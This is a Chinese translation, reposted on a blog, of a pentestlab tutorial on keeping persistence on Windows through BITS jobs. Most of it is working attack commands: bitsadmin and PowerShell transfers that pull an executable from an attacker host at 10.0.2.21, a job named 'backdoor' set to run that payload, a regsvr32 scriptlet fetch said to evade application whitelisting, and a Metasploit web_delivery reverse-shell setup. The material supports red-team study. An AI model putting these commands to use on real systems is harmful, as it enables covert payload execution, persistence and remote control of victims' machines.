zoukankan      html  css  js  c++  java
  • Window权限维持(六):BITS Jobs

    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
    从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件,PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地目录。

    bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:	mppentestlab.exe

     Bitsadmin –文件传输

    还有一个PowerShell cmdlet可以执行相同的任务。

    Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C:	mppentestlab.exe"
    


     BitsTrasfer –传输文件PowerShell

    将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。用法非常简单:

    1. 创建参数需要作业的名称
    2. addfile需要文件的远程位置和本地路径
    3. SetNotifyCmdLine将执行的命令
    4. 所述SetMinRetryDelay定义时间回调(秒)
    5. 简历参数将运行位工作。
    bitsadmin /create backdoor
    bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe"  "C:	mppentestlab.exe"
    bitsadmin /SetNotifyCmdLine backdoor C:	mppentestlab.exe NUL
    bitsadmin /SetMinRetryDelay "backdoor" 60
    bitsadmin /resume backdoor
    


     持久性—BITS Jobs

    当作业在系统上运行时,有效负载将被执行,Meterpreter会话将打开,或者通信将被接收回命令和控制(取决于场合中使用的C2)。

     持久性– BITS Jobs Meterpreter

    参数SetNotifyCmdLine也可以用于通过regsvr32实用程序从远程位置执行scriptlet 。这种方法的好处是它不会接触磁盘,并且可以避开将应用程序列入白名单的产品。

    bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll"
    bitsadmin /resume backdoor
    


     BITS Jobs – Regsvr32

    Metasploit框架可用于通过Web交付模块捕获有效负载。

    use exploit/multi/script/web_delivery
    set target 3
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 10.0.2.21
    exploit

    BITS Jobs – Regsvr32

    译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

    原文地址:https://pentestlab.blog/2019/10/30/persistence-bits-jobs/

  • 相关阅读:
    Atom实例
    订阅基础:RSS、ATOM、FEED、聚合、供稿、合烧与订阅
    XML模式:Dublin Core
    Dublin Core
    海量数据的理想存储方案
    百亿级别数据量,又需要秒级响应的案例,需要什么系统支持呢?下面介绍下大数据实时分析工具Yonghong Z-Suite
    用HiveDB横向切分MySQL数据库
    超详细单机版搭建hadoop环境图文解析
    从String.valueOf(null)说起
    js闭包理解
  • 原文地址:https://www.cnblogs.com/xiaozi/p/11833583.html
Copyright © 2011-2022 走看看